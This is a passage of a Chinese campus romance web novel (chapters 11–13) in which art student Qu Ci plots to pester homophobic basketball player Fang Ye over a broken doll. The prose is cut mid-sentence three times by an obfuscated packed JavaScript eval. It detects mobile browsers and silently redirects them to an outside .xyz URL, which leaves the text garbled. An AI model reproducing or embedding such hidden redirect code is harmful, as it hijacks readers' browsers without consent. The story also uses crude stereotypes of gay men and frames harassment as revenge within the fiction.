曲辞没有跟人证明自己性向的爱好,当然他可以直说自己不是,但为什么要告诉一个陌生人呢? 【一颗果子】:我没有义务告诉你吧? 【一串号码】:我没别的意思,就是身边有男同,我想让他离我远点。 【一颗果子】:你恐同? 曲辞心里想,呵,才不会跟恐同男打交道! 【一串号码】:没有,只是不希望自己被纠缠。 曲辞:我嘞个无敌自恋狂! 【一颗果子】:我看你是想太多了,gay也不是什么都吃得下的好吗?!他们也挑!!!!「冷汗」 他觉得自己表现不满已经很明显了,谁知对方似乎并没有看出他的态度。 【一串号码】:如果遇到变态了呢? 曲辞:? 【一颗果子】:细说变态。 【一串号码】:不太想提。 【一颗果子】:我只能说什么人都有好有坏,不能一杆子打翻一船人。要是确定那人纠缠你,你就正面跟他说清楚你是直男,正常的男同也会找同好,不会在直男身上浪费时间。如果那个人还是会做出格的事,那你就不要留情,搜集证据直接给帽子叔叔打电话! 过了好一会儿,曲辞快被咣当咣当的火车给晃睡着了的时候,手里的手机才突然一震,是对方回复的消息。 【一串号码】:好,今天多谢,先下了。 好吧,是个突然出现又突然消失的怪咖。 但看在会礼貌地掏出188咨询费的面子上,曲辞决定忽略他后边那些不甚礼貌的问题,判定他是个好人。 虽然对男同有敌意,但万一真的被骚扰过呢? 未经他人苦,莫劝他人善。 就像自己对体育生有强大的敌意,外人也未必能理解一样。 况且,好人才会这么敞亮,抠了吧唧做错事又不负责的人,比如那个方谒,就是个坏蛋! 曲辞迷迷糊糊地想着,很快睡了过去。 跟怀着伤痕跑回家的上一夜不同,这夜他睡得又香又甜,一睁眼火车就到了站,抱着沉甸甸的书包挤地铁回到学校,正是早上九点多。 阮林骑了自行车在地铁站口等他,看见他人影之后立刻兴奋挥手:“辞哥!” “来了!”曲辞蹦下台阶,开心地冲他跑过去。 明天就是十一假期,今天他们班只有下午有两节消费心理学,估计大家都会上得比较心不在焉,阮林他们专业一天都没课,等于提前放假,所以他看起来十分神采飞扬,一身轻松。 他放假也没出去玩,虽然不打工,但要把最近接的单子画一画,所以也算是要工作。 此刻还是有不少专业在上课,校园里显得很安静,只有三三两两的同学经过,坐在自行车后座,被秋日上午的阳光照耀着,吹着微凉的小风,曲辞觉得非常舒服自在。 然后就在体育场附近的小路上看见了一个熟悉的、高大的身影。 和他面前站着的,一棵“圣诞树”。 阮林显然也看见了,猛地一刹车:“卧槽,方谒!和那个……” 曲辞也有点愣:“咱们学院的……” 俩人异口同声:“绝世骚0?!” 11. Chapter 11 曲辞对方谒没兴趣,但当那个被称为“绝世骚0”的院友和他站在一起的时候,这吃瓜的兴趣可就来了。 这个略显侮辱性的外号不是别人给取的,是那位同学自己给自己封的,仿佛这是什么无上荣耀。 在他们学校里,曲辞的产品设计和阮林的动漫设计都归在了艺术与设计学院,而这个学院从比例上来说,男同占比多了一些些,以至于对自己性向有充分认知的人基本都处在半出柜的状态。 其中不乏高调出柜的奇人异士。 骚0同学就是其中之一。 他每天把自己打扮得风骚靓丽,恨不得同时把所有高饱和度颜色穿上身,简直是人群中一道无法被忽视的彩虹桥。 性格也是张扬做作,会故意昂首挺胸扭屁股,脸上化着可以登台唱戏的大浓妆,言语刻薄,自称“老娘”,动辄喜欢翻白眼,并且在浓妆的衬托下,那双白眼会显得异常鲜明。 但据他亲口所说,他并不是trans,只不过觉得这样打扮更具有先锋性,而且放言一定会找到个大猛1当男朋友。 而且,他确实说过要掰弯个校男篮的队员给大家看看实力。 以前也曾大放厥词要去掰弯方谒,后来应该是听说了方谒怒打小0的传闻,暂时不敢送货上门。 所以现在搬了校区,以为轻舟已过万重山,他又行了? 阮林捏着刹车,用脚踮地,一寸一寸往前蹭,曲辞坐在后座,怀里抱着个圆滚滚的书包,两条长腿也踩着地往前挪。 俩人往前蛄蛹了几米,怕被人发现,猛地停在了原地,不约而同拿出手机,低头做忙碌状。 方谒和那位骚0同学就在他俩右前方拐过去的小路上,篮球生背对他们,高大的身影挡住了骚0的视线,因此俩人一时半会儿都没有发现这里有两对耳朵。 估计他们也不在乎被人看见,毕竟路上不乏来来往往的同学。 曲辞耳朵恨不得竖到天灵盖上,隐隐捕捉到被风送来的两人对话。 骚0:“哥哥~人家真的很喜欢你嘛,你当跟我试试不行嘛?反正你又不吃亏。” 方谒:“再说一遍,我直男,还恐同,你滚远点!” 骚0:“恐同即深柜你没听说过吗?不亲自尝试怎么知道当男同的好?!” 方谒:“这好你收严实了,自己慢慢享受,再找我信不信我弄死你?!” 曲辞“噗嗤”一声笑了,立刻把嘴捂上。 这位凶神恶煞还有点冷幽默? 骚0伸手去拽方谒的袖子,扭得像枝风中的柳条,音调也拐得山路十八弯:“哥哥~~~~人家会对你很好的!真的~~~~你原来喜欢什么样的妹子,我可以穿女装扮成那样,慢慢你就适应了。” 曲辞就听前边的阮林感叹:“妈呀,我都有点心疼方谒了。” “不要滥用同情心。”曲辞捅咕他后腰,小声说,“他比骚0哥高那么多又壮那么多,想摆脱不是分分钟的事?!” 接着就见方谒抬起胳膊使劲一抡,甩掉了骚0的手,把人往旁边树上使劲一推,厉声道:“我警告你,敢再来找我,我会让你在学校里待不下去!” 说罢扬长而去。 他一走,就露出了骚0的脸,骚0回看了他一眼,转过头来,视线正好跟曲辞和阮林交汇。 曲辞:“……” “快走快走快走!”他赶紧使劲儿蹬地。 阮林立刻踩下脚蹬,拼命往前骑。 然而骚0还是对他们大喊:“曲辞!阮林!你俩吃完瓜就跑是吧?!曲辞你揣的什么?跑这么快赶着去生孩子吗?” 曲辞耳朵瞬间火烧火燎的,低头把脸埋在了书包上,根本不敢回头看。 自己虽然也是个不服就干的主,但那也得有的放矢,论放飞自我,根本不是这哥的对手! 快走,要脸! 走出没多远的方谒听见了曲辞的名字,警惕地回头看,只看见男生穿着深蓝色衬衫外套的背影一闪而过,头发还是扎成丸子头,露出了标志性的纤长后颈,非常容易识别。 他是恰好经过,还是偷偷吃瓜了? 最好是吃瓜,听见我跟那妖艳贱货说的话也好,希望他起那些不该有的小心思! 阮林小宇宙爆发,把自行车蹬得像风火轮,两人平安回到了宿舍楼下。 曲辞松了口气,脑海里却回想起刚才方谒把手臂抡圆了甩开对方的画面。 他想起娃娃被毁那天,自己也曾抓住方谒的手臂,也被这样挣脱。 那会儿此人脸上的表情很是难看,不知道刚才又是什么样的。 这么恐同,应该更狰狞吧?可惜没看到,不然爽死我,呵。 “信不信我弄死你?” “我会让你在学校里待不下去!” 真是好熟悉的话术,以前被那帮体育生霸凌的时候,这些话听得耳朵都起茧子了。 曲辞心里冷哼一声。 虽说直男被男同表白会受到惊吓,但骚0哥除了动作音调恶心一点,其实也还好吧?俩人体格差距那么大,他能把方谒怎么着? 方谒胆子有那么小? 干嘛动不动就说弄死谁、把谁逼出学校?! 果然是超雄! 以前在中学肯定霸凌过别人! 曲辞倒是不担心骚0哥,此人爱撩汉是人尽皆知的,但他并不是会纠缠别人的那种性格,他骨子里傲得很,并且对自己的魅力有蜜汁自信,方才撒娇央求什么的不过是撩汉技巧罢了,绝不会真的对男人低声下气。 而且根据他自称“N人斩”的经验来说,男人这种东西是不能太捧着的,恰恰相反,一天打八百遍、饭都不给吃饱,他们反而会对你言听计从。 因此,估计他不会再对方谒有什么表示,反正世上男人多得是,尤其在大学里,一块石头扔出去能砸到一大片刚成年的青春男大,他才不缺目标。 进了寝室,看到没有别人在,曲辞又是一阵心情明媚,他拉开书包,把老妈给带的大骨头拿出来,打开饭盒盖子,得意地在阮林鼻子前转了一圈:“中午吃肉肉,馋不馋?!” “啊!阿姨炖的大棒骨!”阮林不由自主地吞了吞口水,“我就知道你回来一定带了好吃的!” 曲辞陆续从包里拿出了花雕醉虾、捞汁海鲜、酱牛肉,还有当地驰名火烧做主食:“看看这些,还减肥吗?” “我平时克制得那么辛苦,也到了该吃放纵餐的时候了!”阮林双眼放光地说,“去楼下找宿管阿姨热饭吗?” 曲辞觑他:“吃这么早?这才十点多。” “我惦记你,早上都没吃早饭!这会儿都咕噜咕噜叫了。”阮林摸着肚子,“你不饿吗?在火车上你肯定也没吃吧?” 这倒是事实,被他这么一说,曲辞也觉得饿了。 他从柜子里找出个干净的一次性饭盒,夹了两块棒骨进去,又倒了点肉汤:“我给宿管阿姨送点,反正咱俩吃不完,回头隔夜就坏了。” “那我去附近食堂买米饭!”阮林说,“肉汤还是得拌饭才好吃!” 俩人立刻分头行动。 曲辞受宿管阿姨喜欢不是没有原因的,他嘴甜又大方,长得也讨人喜欢,在老校区的时候就跟那边的阿姨处得很好,这边的几位也很快熟稔起来,一个个都把他当儿子看。 阿姨嘴上客气了几句就收下了大棒骨,还把他那份加热得香气直往外冒,连连夸奖:“你妈的手艺真不错,闻着就好吃。” “喜欢的话,以后还给您带!”曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345570|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞快人快语。 他端着热好的大棒骨回到寝室没多久,阮林也买回了米饭,曲辞找出折叠桌,把菜都摆在上边,俩人戴上一次性手套,迫不及待开始啃骨头。 嘴被占用的时候,脑子就开始活跃,方才骚0哥的事儿又在脑海里回荡,曲辞咽下一口肉,好奇地问:“林子,直男真的能被掰弯吗?” “应该能吧?”阮林大口啃肉,“性向不是流动的么?” “可是直男不是对男同的接近很反感吗?” “所以有时候假装成女孩子可能更容易得手。”阮林说,“骚0哥以前就这么干过。” 曲辞倒是不知道这事儿:“怎么得手?” “先用一些伪装出来的女性特征吸引直男,然后把对方撩得不能自持的时候再露出真面目,直男吓得要跑,就拉住他让他试试看,反正那会儿已经精虫上脑的直男脑子都不供血了,没什么思考能力,试试就试试呗。一来二去尝到甜头了,慢慢也就没什么不能接受的了。” 曲辞“啧”了一声:“这真的是直男吗?” “那谁知道呢。”阮林乐了起来,“男性.本.淫吧可能。” “难怪骚0哥能N人斩。”曲辞感叹。 阮林不屑地说:“你听他吹,再说这种方式掰弯的人根本靠不住,只不过在男同身上爽一下,回头还不是结婚生子,骗了男的又骗女的,都是垃圾!” “对,垃圾!”曲辞把啃完的一根大骨头丢进垃圾桶,“所以你别惦记那些篮球特长生了昂!” 阮林坏笑:“他们未必都真的是直男,万一被我挖掘到了深柜呢!” “反正你谈恋爱还是得谨慎,我怕你被渣男骗。”曲辞正色道,“体育生荷尔蒙旺盛,管不住自己,都渣得很,你离他们远点。” “知道啦知道啦!我现在就是舔颜,不会认真的,再说掰弯直男天打雷劈,我才不干那缺德事。”阮林说。 曲辞拿起一只大虾来剥,点头道:“就是。” “不过,如果我没掰,那人主动为我弯了,我可就美美享用了!”阮林哈哈大笑。 “想美事呢你!”曲辞嗤笑,忽然就想起方谒那张凶脸,一个离谱的念头突然诞生,“你说方谒那样的人会被掰弯吗?” 阮林想了想,撇着嘴说:“那很难说,不过能掰弯方谒的人,被成为‘人间扳手’也不为过。你怎么想到这个了?” “他不是恐同吗?还对男同那么差劲,我就想,万一他弯了,这不是宇宙超级无敌打脸?回旋镖转啊转,回旋镖转啊转~哈,想想都爽!”曲辞唱了几句,心情愉悦地把大虾丢进嘴里。 然而就在这时,敞着的门被敲了两声,他循声望去,看见了方谒的凶脸。 曲辞:“……” 不会听见了吧? “咣当”一声,阮林手里拿着的大棒骨掉进了面前的米饭盒里,显然有些紧张。 曲辞看着把门口光都挡住的篮球生,站起来冷着脸问:“是来给我还钱的吗?” “你做梦。”方谒走近他,面色明显变得很凶,居高临下地看着他。 原本是打算来谈判的,但是走到门口,听到断断续续的什么“掰弯”、什么“打脸”,他顿时心生反感。 面前的男生穿着干净的T恤,圆领子里伸出来的脖颈修长好看,丸子头松了一些,有若干发丝垂下,看起来有些慵懒,红润的嘴唇沾着一点油脂,看上去亮亮的,像是涂了什么保湿的润唇膏。 尽管风格文静秀气,不是自己身边那种莽汉,但不得不承认,这人是很好看的。 谁知品德居然这么恶劣。 方谒沉声道:“如果你不拿出足够的证据证明那个娃娃的价值,我最多给你二百,绝对不会多给你一分钱!” 12. Chapter 12 从家里回学校的火车上,曲辞就一直在盘算要债的事。 讨厌的体育生就是很难让人放心,必须时时敲打,以免对方以为可以蒙混过关。 他想要做方谒蚊帐里那只打不着但无时无刻不在嗡嗡嗡的蚊子,刷足存在感,以此来证明自己对这件事严肃的态度。 谁知自己还没出手,这个混球居然送上门来找事! “怎么才算足够?!”曲辞向前一步,仰头质问道。 方谒觉得扑面而来一种怪怪的感觉,本能向后退了一步。 不知道是不是因为平日里接触的都是篮球特长生,习惯了他们身上热腾腾带着汗味的气息——当然并不是他重口味,闻着臭的也会一把推开,只是这是他熟悉的感觉。 而曲辞,像一株清凉的荷花,身上还带着一股淡淡的难以言明的香气,很好闻,却让他非常不适应,下意识地回避。 是不是喷香水了?直男会喷这种香水? 曲辞:“……” 上次把自己的手甩开就够了,这次你后退这么明显是认真的?! 我身上是有什么跳蚤吗?还是有传染病?! “躲什么躲?!别以为想逃避责任!”他很不爽地又往前跟了一步,下巴仰得更高了。 死体育生,仗着身高优势想压迫谁? 告诉你,惹上我无敌小辞,你可是踢到铁板了! 这次方谒没有后退,因为他不想让对方认为自己在“躲”。 此刻两个人挨得极近,一个微微低头垂眸,一个高高仰着下巴,中间距离不超过十厘米。 旁观的阮林看着他俩这身高差、体型差和角度,陷入沉思。 这对吗? 哪里怪怪的? 这个距离,“小漂亮”身上的“香气”给肺活量超好的篮球特长生来了个重度过肺,方谒浓眉下压着的黑沉沉的眼睛一寸一寸刮过曲辞的脸,几乎要把他的五官刻进视网膜。 长得很漂亮,也很英气,头发微微散落,有几分慵懒,小鹿一样的眼睛亮亮的,这会儿正凶狠地盯着自己——尽管这凶狠在方谒看来,像只恶龙咆哮的小奶猫,实在不足为惧。 他很难想象,曲辞会跟之前纠缠自己的那个人一样是同款变态。 这个颜值的确高。 面前的篮球特长生实在是凶,这会儿故意凶巴巴地看人,面部表情极其凶残,但也极其富有野性。 不过倒是没有坏味儿,曲辞只能闻见洗衣液的味道,海洋香氛,怪清新咧。 看着看着,他职业病犯了,下意识打量方谒,发现对方长得确实是阮林说的建模脸。 眼耳口鼻的轮廓都极为清晰干脆,仿佛女娲把他捏出来的时候,线条精确到了毫米,尤其那双厚薄适中的嘴唇,唇线清晰极了,真的是极好上妆的那种嘴唇。 似乎只用指尖沾着浅色油彩轻轻一抹,那嘴唇自动就变得鲜活起来。 眉骨立体,鼻梁高挺,双唇微抿,下颌线流畅而锐利,整张脸长得宛若一尊希腊雕像。 有点想拿这脸做个叔体娃头。 不,我不想! 曲辞后知后觉,崩溃地打消自己头脑中这种离谱的想法。 “那个……”阮林突然弱弱地说,“你俩要不说句话吧,再不吭声,我感觉下一秒你俩就会咬起来了。” 血腥啊! 曲辞是想说话来着,但对峙时间有点长,突然忘了之前要说什么,猛地卡了壳,只能故作高深地眯起眼睛看着方谒。 方谒沉着脸,冷淡道:“要证明你的娃是真品,官箱官垫、出生证和钢印都不能缺,就算有了这些,最后相不相信你的决定权,在我。你好好准备吧。” 说罢转身便往外走。 “好大的口气!你给我站住!”曲辞对着他的背影大喝。 我才是苦主! 方谒站住脚,偏过头去,目光微微下瞥。 “我需要你预付款作为定金,证明你愿意赔偿的诚意。”曲辞大声说,“百分之二十,两千块,立刻转给我!”一边说一边向阮林伸手,“林子,手机!” 阮林手忙脚乱地摘掉一次性手套,但手指上还是有油,下意识地翘着兰花指,把桌面上的手机夹起来尽快递给曲辞,以免影响到辞老大此刻的气势。 曲辞咬掉自己手上的手套,仿佛那不是TPE材质的破玩意,而是高贵优雅的白色绸缎,他抽了一张纸擦了擦指尖,接过手机,迅速调出收款码,举到方谒面前:“打钱!” 方谒黑沉沉的眼睛觑了觑他,脸上露出一抹淡淡的冷笑,从善如流地掏出手机扫他,在屏幕上点点点,然后说:“好了。” “你最好跟我签一个还款协议,不愿一次性打款可以,我允许你分期,协议由我来拟定——”曲辞低头看了眼手机,顿时暴怒,有心想把桌上自己啃完的大棒骨砸他脸上,“你糊弄谁呢?!” 混球转的是两百块! “我劝你好自为之,否则这将是你能收到的全部金额。”望着曲辞五官都拧到一起,方谒突然心情大好,勾了勾唇角,转身大步走开。 这小漂亮发怒的样子,还挺有意思。 像那种被拉去洗澡剪毛时暴怒的小博美,越柔弱的东西,发起火来越可爱,因为毫无杀伤力。 曲辞闭了闭眼,拔腿就向前冲,他觉得自己是在试图跟一只狗沟通,既然对方听不懂人话,他只能略用一些拳脚。 他体育生有绝对的力量优势又怎么样?!小爷也放倒过不少他的同类! 阮林猛地跨过来一大步,拦腰从背后抱住他:“辞哥,冷静!不要自讨苦吃!” “之前还装着要负责,现在就翻脸不认账!”曲辞愤怒地挣扎,恨恨地咒骂,“虚伪!败类!人渣!” 阮林“啧”了一声:“你这么控诉他,感觉像是被他渣了。” “他想得美!”曲辞怒发冲冠,刚从家回来的好心情荡然无存,这两天发生的事情像碎片一样冲进他的大脑。 被损坏的埃洛伊丝、方谒猛地甩开自己的动作、他抡掉骚0哥手臂时那唯恐避之不及的姿态、方才看着自己靠近退一大步的样子—— 噢!!!!他以为我也是男同?! 知道你恐同,但这么恐同是吧?! 好好好! 你不让我好过,我也不会让你好过! “林子!”曲辞愤愤地转头看着他,“从今天起,教我怎么做男同!我要让方谒知道什么是极致的变态,我要让他全方位地感受来自同性的炙热之爱!我要把他小火慢炖,炖得骨酥肉烂!” 阮林:“……” 他看着曲辞微微泛红的眼睛,抬手去试对方的额头,接着左手结了个三清印,做了个招魂的动作:“辞啊,魂兮归来!” “我没疯,我现在平静得很。”曲辞冲他笑了笑,笑容怎么看怎么邪性,“有的人,正道之光照不亮他,就只能用邪修的小皮鞭用力抽打!” 阮林紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345571|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张地舔了舔嘴唇:“你是要……” “追他!”曲辞笑容更大,“我!要!追!方!谒!” 相隔两个寝室之外的男主角突然间不自觉地打了个寒颤。 望着外边大树被骤然而起的强风吹动的树叶,方谒想,变天了吗? 阮林还是觉得这个念头过于疯狂,拉着曲辞坐下:“辞哥你别闹,方谒刚才怎么对骚0哥你都看见了,何必自讨没趣,万一他真动手打你怎么办,你的那几招防身术可不够对付他的,一力降十会你可清楚?” “我当然有我的技巧。”曲辞得意道,“我就要气死他,还看着他拿我没办法的样子,在一边嘲笑他!” 他面色庄严道:“在他往后的人生里,我要他走哪都能看见我,永远躲不开我的身影,耳边永远有我的声音,永远被我烦得天天做噩梦、吃不下睡不香、训练不专心被教练疯狂罚练,就算用尽全力也没办法把我赶走!” “我将会永远缠着他,直到他还钱为止!” 阮林看他就差攥拳头宣誓了,只能无奈叹息:“辞哥真汉子,在下佩服。” “所以,从现在开始教我做男同吧!”曲辞心中点燃了熊熊复仇之火,眉飞色舞地说。 “你真想好了?”阮林犹犹豫豫地看着他,“辞哥,当你学了这一招,就拥有了法力,但你不怕被法力反噬?” 曲辞轻笑:“能怎么反噬?” “比如,入戏太深,真的成了男同。”阮林面色凝重地说,“这事儿可大可小。” 曲辞轻蔑地摆摆手:“我出过那么多cos,你见我什么时候出不来角色?我这次不过是cos男同罢了,弯是绝对不可能弯的。再说,对着方谒那种人我能弯?我口味还没这么重!” “那你不嫌难受吗?你这么讨厌那些体育生,干嘛还去接近他?”阮林苦口婆心地劝,“等新娃买到之后,咱们把他要的证据发给他不就完事了,他刚才说的那些词还挺专业,我看是自己去查了的,到时候一定明白我们给的就是正品啊!你何必杀人一千自损八百。” 曲辞冷哼一声,晃了晃手指:“nonono~现在让他乖乖还钱,我已经没有爽感了,我要先好好地折磨他、玩弄他,最后让他彻底认清自己的错误,跪在我面前,将钱拱手奉上,还要大喊,‘辞哥,对不起’‘辞哥,我错了’!跟这种爽感相比,我只是付出一点小代价,不足为惧!” 阮林看着他,一边咋舌,一边感叹:“辞哥你真的好变态。” “都是他逼的。我一定要给他一个终身难忘的教训。”曲辞仰头将瓶中的冰红茶一饮而尽。 甜甜的液体顺着喉咙流下,修长的脖颈上喉结上下一晃,他顿时觉得神清气爽,看着对面还在一脸“我看不懂但我大受震撼”的阮林,打了个响指:“来吧宝宝,我要好好学习做个男同。” 阮林啧了一声:“用得着吗?你只是要气方谒,又不是真的要追到他,像不像男同有什么必要。” “小同学,你说的话非常在理。”曲辞挑了挑眉,癫狂地笑道,“那我只要做我自己就可以了。” “方谒这厮,可真是幸运啊,居然能够见识当年一战成名的我有多强,真是便宜他了!” 话音刚落,原本晴朗的中午,突然毫无预兆地凌空炸响一道惊雷。 “轰!” 308室,在阳台上收衣服的方谒也被震了一惊。 感觉后颈上的汗毛微微起立。 有妖气? 13. Chapter 13 方谒摩挲了一把刺挠的后颈,拿着收好的衣服进了寝室。 应寒坐在自己的桌前,仰躺在电脑椅上,一边打游戏一边说:“什么鬼天气,难道有道友要渡劫?” 方谒搓了搓手臂上莫名其妙起的鸡皮疙瘩,把对方两件衣服往他头上一扔,打击封建迷信:“一场秋雨一场寒,估计快降温了。” “哎,我的心也拔凉拔凉的,十一黄金周,别人七天咱们三天,好惨。”应寒一把扯掉衣服,手速飞快地继续在屏幕上划拉,嘤嘤了两句。 “你又不是第一天知道,在这矫情什么。”方谒冷淡地说,“不是想当职业选手吗?我劝你断了放假的念头,好好训练。” 打完一局,屏幕上显示一个大大“win”,应寒舒服地把手机往桌上一扔,展开双臂长长地伸了个懒腰,嚎叫了一声之后,长腿点地滑到桌子跟前,拉开抽屉,从里边掏出来一袋薯片,“砰”地一拳砸破。 他抓起两片塞进嘴里,嚼得“咔嚓咔嚓”:“职业选手也得张弛有度,不要对我过分苛刻——吃吗?” 觑着他递过来的薯片袋子,方谒沉着脸:“我劝你还是见好就收,晚训的时候要测体脂率,你小心被老牛逮着。” “逮着就逮着,大不了挨顿批,再断几天碳水就是了。”应寒很无所谓地说,“就老牛要求严,咱们又不是健美运动员,搞成魔鬼筋肉人又不好看。” 方谒把自己的衣服整整齐齐叠好,放在衣柜的收纳箱里:“高体脂影响肌肉爆发力和灵活性,老牛的要求并不是没有道理。” “啧,你长得跟个刺儿头似的,怎么说起话来像个乖宝宝?”应寒坏笑着,用自己捏过薯片的油手去拽他的衣角。 方谒灵活地躲开,看见他嘴角的薯片残渣有点闹心。 莫名就想起来305那个小漂亮,啃完大棒骨的嘴虽说沾着一点油,但丝毫不让人觉得恶心,倒是感觉嘴唇润润的。 果然和体育生是完全不同的人种。 “我就看你对自己要求这么严格,体脂率达不达标。”应寒舔了舔嘴唇,表情餍足地说。 “不达标。” 篮球馆里,牛教练黑着一张脸,看着面前二十多个大小伙子,怒道:“没有一个人体脂率在安全线以下!怎么着?最近食堂伙食太好了是吧?” “我们也是人,又不像您似的光吃草就行。”站在第二排的石恒小声嘀咕,他旁边的几个人使劲憋笑。 牛教练立刻瞪圆了牛眼大吼:“石恒!就你体脂最高!还好意思嬉皮笑脸!你还想打首发吗?!” “想啊!教练,我想打篮球!”石恒戏精上身,装出一副呜咽的模样,说出了那句经典台词。 周围的人立刻爆发出哄堂大笑。 绝大部分队员跟应寒一样,觉得体脂率再高也高不到哪去,又不是参加比赛的硬性指标,因此在这上头并不严肃。 就算牛教练很严肃,他们也敢拿这事儿来开玩笑。 全队上下只有一个人没笑,那就是方谒。 此君沉着一张黑得快要滴水的臭脸,站在第一排队首,在满场笑声中默不作声。 他觉得自己已经做得足够好,本来非常自信指标绝对在老牛的要求范围内,谁知道居然高出了0.5%! 生气! “还笑!放假想加练是吧?三天假都不想要了是吧?!”牛教练大喝一声。 方才还喧闹一片的队员们立刻鸦雀无声。 牛教练很满意他们的反应,冷冷地扫视过每一张对假期充满渴望的脸:“体脂率的重要性我之前强调过很多次,这次就不再废话了,从明天开始,每人把自己每天进嘴的东西拍照片加文字发到群里,每晚十点钟挨个儿打卡接龙!” 所有人顿时哀声一片。 “叫唤什么?你们现在代谢这么高,只要稍微管住嘴,体脂率能下不来?”牛教练指着他们训道,“现在这个结果,就是因为你们疏于自我管理、态度散漫,往小了说,这是不够自律,往大了说,这就是不尊重篮球,不尊重自己校队球员的身份!谁不想干趁早打报告退队,别占着茅坑不拉屎!知道了吗?!” “知——道——了——” “滚吧,解散!” 这两个字简直是魔咒,刚被霜打的茄子们立刻变成了精神抖擞的公鸡,拎起自己的东西一窝蜂地往外跑去,篮球场内瞬间就没了人影。 “老牛是不是当过健身教练?这馊主意都想得出!”应寒搭着方谒的肩膀往外走,“真不理解他对体脂率的执念是从哪来的,就跟三流的大学抓卫生一个道理,我看他就是个三流教练。” 中午时分打雷闪电,急速地下了一场小雨,像是洗净了天地间的浊气,夜晚的空气显得十分清新。 应寒只比方谒矮两厘米,搭他的肩膀并不费力,平日方谒并不是不让他搭,这会儿明显心情欠佳,肩头一抖,把他的胳膊抖了下去。 “老牛笑傲CBA的时候你还没出生,倒也不必因为这点小事就黑他。”方谒沉声道,“我可不想被他说成是带过最差的一届。” 应寒偏头看着他那张过分凝重的脸,笑了一声:“有人因为自己没达标而烦躁啊!” 方谒双手抄在运动服外套兜里,不置可否。 “明天回家吗?你家又不远,总得回去待着吧。”应寒换了话题,“要不然你爸妈又得念叨你。” “不回,懒得理他俩。”方谒依旧耷拉着脸,想了想又说,“可能去看看我爷爷。” “找老爷子散散心也不错,反正放轻松点吧,卷王也得给自己放个假才能继续卷。” 俩人走上偏僻小路,没了路灯,只有月光照着方卷王那张沉默严肃的脸。 今晚的月亮很好看,高悬在深蓝色的夜幕当中,像一只莹白发亮的大盘子,在305寝的阳台看过去,好像离它特别近,让人很难不把它拍下来。 曲辞站在阳台上,举着手机拍了好半天,相册里存了好几排的素材,被他反复挑拣,才挑出一张,修出合适的尺寸,加个文艺的滤镜,放入素雅的相框里,发朋友圈。 【在下告辞】:爱明月高悬,独独照我。「图片」「小刺猬呲牙」 这个红毛小刺猬的系列表情包是他自己画的,上传到了微信系统里,供人免费下载使用,由于设计十分可爱,下载量还不少,一度令他非常骄傲。 很快阮林就在下边回复,还加了一张照片,是他跑到阳台,在月光下拍了自己的一只手。 【软软的林】:你想得美,还照我呢! 曲辞看着他的回复,乐得不行。 自从中午发出豪言壮语要假装追方谒之后,他到现在决心都还是坚定的,并没有反悔的意思。 当然,做这件事要付出什么代价,他也想得清清楚楚。 学院和社团以及听过他名字的人大多猜测他是男同,他也知道甚至有人为这事儿发起过投票,但他以前并不在乎。 自己不恐同,并不会觉得被贴上这个标签是什么不好的事情,况且他大学四年没打算找女朋友,被人误会或许还是一道挡箭牌。 但如果他真的去“追求”方谒,这个事情就等于被坐实了,可是影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345572|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响深远。 不这么做,将来遇上喜欢的女孩子,还能解释得清楚;一旦这么做了,就算毕业几年,谈了恋爱,未来的女朋友还是有可能听到这个传闻,毕竟自己在校园里还是有几分名气在的。 可他反复思量,觉得这件事并非没有操作空间。 只“骚扰”方谒,绝不近距离接触,不会有任何“亲密”照,反正自己就算豁出去了,也不会豁得那么出去。 不留下任何文字,比如聊天记录,免得被人拿去传谣。 如果快的话,估计几天方谒就能投降,慢也不会超过一个月去。 就不信那么恐同的人能坚持得了那么久。 无凭无据,时间短暂,这事儿安全系数不低,可以干! 经过一下午的认真考虑,他还是决定要狠狠“教训”方谒,一是为了这次埃洛伊丝被毁之仇,二是为了让其他体育生看看,谁也别想欺负他曲辞! 小爷现在就要立棍! 但是,具体怎么“教训”又成了问题。 毕竟他只是想气死方谒,但并不想性骚扰别人。 曲辞想破了脑袋,都想不出什么招数,恨不得找骚0哥拜师学艺。 被夜风吹得有点冷,他裹紧了外套进了寝室里。 同寝的尹旭和毛彦明都不在,听说是出去玩了,要第三天晚上才回来,现在只有石恒这个讨厌鬼趴在床上玩手机。 看着他伸出床铺围栏的大脚和那双只穿着内裤的毛毛腿,曲辞觉得辣眼睛,真的想建议他也快点装个床帘,保留个人隐私,维护视野洁净。 但这事儿不能强迫,他不好说什么,为了明天有力气打工,早早爬上了床,把自己的帘子拉好,隔绝一切脏东西。 在他戴上耳机之前,听见了来自隔壁床铺的“噪音”,那是石恒给别人发的语音,一听都是给女生发的,甚至还是不同的女生,声音软得直让人犯恶心: 